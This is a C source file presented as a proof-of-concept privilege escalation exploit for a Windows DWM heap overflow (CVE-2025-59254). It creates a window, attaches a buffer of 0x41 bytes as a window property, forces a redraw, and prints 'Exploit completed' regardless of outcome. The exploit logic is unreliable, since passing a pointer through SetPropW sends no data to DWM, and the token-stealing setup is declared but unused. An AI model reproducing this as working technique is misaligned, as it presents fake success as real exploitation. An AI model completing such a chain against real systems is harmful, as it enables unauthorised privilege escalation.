// CVE-2025-59254 - Windows DWM Core Library Heap-based Buffer Overflow PoC
// Vulnerability: Local Privilege Escalation via DWM Core Library
// Target: Windows 10/11 DwmCore.dll
// Note: This is a conceptual PoC skeleton demonstrating the exploitation approach.
// Actual exploitation requires detailed reverse engineering of the target binary.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Token stealing shellcode offset for Windows 10/11 (varies by build)
// This is a placeholder - actual offsets must be obtained from the specific OS build
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Function to trigger DWM vulnerability via crafted window messages/properties
BOOL TriggerDWMOverflow(HWND hWnd) {
// DWM processes various window attributes and composition data
// The overflow occurs when processing specially crafted DWM-related data
// Step 1: Prepare oversized buffer to trigger heap overflow in DWM
SIZE_T bufferSize = 0x10000; // Oversized buffer
PVOID pBuffer = malloc(bufferSize);
if (!pBuffer) return FALSE;
// Fill buffer with controlled data and ROP chain / shellcode
memset(pBuffer, 0x41, bufferSize);
// Step 2: Send crafted data to DWM via window management APIs
// DWM intercepts window messages for composition
// The specific API call depends on the vulnerable code path identified
// Example: Setting window properties that DWM processes
SetPropW(hWnd, L"DWM_Overflow_Prop", pBuffer);
// Trigger DWM to process the malicious property
// This may involve window manipulation or DWM-specific APIs
RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW);
free(pBuffer);
return TRUE;
}
// Main exploit function
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-59254 - DWM Core Library LPE Exploit\n");
printf("[*] WARNING: For authorized security testing only\n\n");
// Check current privilege level
BOOL bIsAdmin = FALSE;
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
// Create a window to interact with DWM
WNDCLASSW wc = { 0 };
wc.lpfnWndProc = DefWindowProcW;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = L"DWMExploitClass";
RegisterClassW(&wc);
HWND hWnd = CreateWindowW(
L"DWMExploitClass", L"DWMExploit",
WS_OVERLAPPEDWINDOW, 0, 0, 100, 100,
NULL, NULL, GetModuleHandle(NULL), NULL
);
if (!hWnd) {
printf("[-] Failed to create window\n");
return 1;
}
printf("[*] Triggering DWM heap overflow...\n");
TriggerDWMOverflow(hWnd);
// Cleanup
DestroyWindow(hWnd);
UnregisterClassW(L"DWMExploitClass", GetModuleHandle(NULL));
printf("[*] Exploit completed\n");
return 0;
}